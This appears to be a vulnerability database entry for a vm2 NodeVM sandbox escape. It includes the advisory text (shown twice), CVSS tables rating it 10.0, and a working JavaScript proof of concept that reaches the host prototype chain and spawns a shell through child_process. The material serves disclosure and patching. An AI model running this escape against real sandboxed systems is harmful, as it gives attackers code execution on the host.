vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter…
VulnCheck·CWE-913·Published 2026-09-17
vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.
vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.
## Summary It being possible to obtain the host `__proto__` getter/setter, has been used in many reports: - https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6 Yet it was never patched... --- This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default) ## Details The prototype chain for `console._stdout`/`console._stderr` is: ``` _stdout / _stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter ``` `process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype` By overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`. This also bypasses `--disallow-code-generation-from-strings`, which blocks the "usual" escape of obtaining the host function constructor. ## PoC ```js const { NodeVM } = require("vm2"); code = ` const gP = Buffer.call.call(__lookupGetter__,67,'__proto__'); // vm __proto__ getter console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {} // host __proto__ getter console.log(gP.call(console._stderr)); // Socket { [...] } let p = console._stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); }; p.emit = function(){ console.log(this+[]); this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"}) } `; const vm = new NodeVM(); vm.run(code); ```
## Summary It being possible to obtain the host `__proto__` getter/setter, has been used in many reports: - https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6 Yet it was never patched... --- This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default) ## Details The prototype chain for `console._stdout`/`console._stderr` is: ``` _stdout / _stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter ``` `process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype` By overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`. This also bypasses `--disallow-code-generation-from-strings`, which blocks the "usual" escape of obtaining the host function constructor. ## PoC ```js const { NodeVM } = require("vm2"); code = ` const gP = Buffer.call.call(__lookupGetter__,67,'__proto__'); // vm __proto__ getter console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {} // host __proto__ getter console.log(gP.call(console._stderr)); // Socket { [...] } let p = console._stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); }; p.emit = function(){ console.log(this+[]); this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"}) } `; const vm = new NodeVM(); vm.run(code); ```
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 10.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 10.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Primary | NVD | 10.0 | 3.9 | 6.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Secondary | GHSA | 10.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Secondary | NVD | 10.0 | 3.9 | 6.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 4.0 | Primary | cve.org | 10.0 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| 4.0 | Primary | cve.org | 10.0 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| 4.0 | Secondary | GHSA | 10.0 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| 4.0 | Secondary | NVD | 10.0 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | ENISA EUVD | 10.0 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |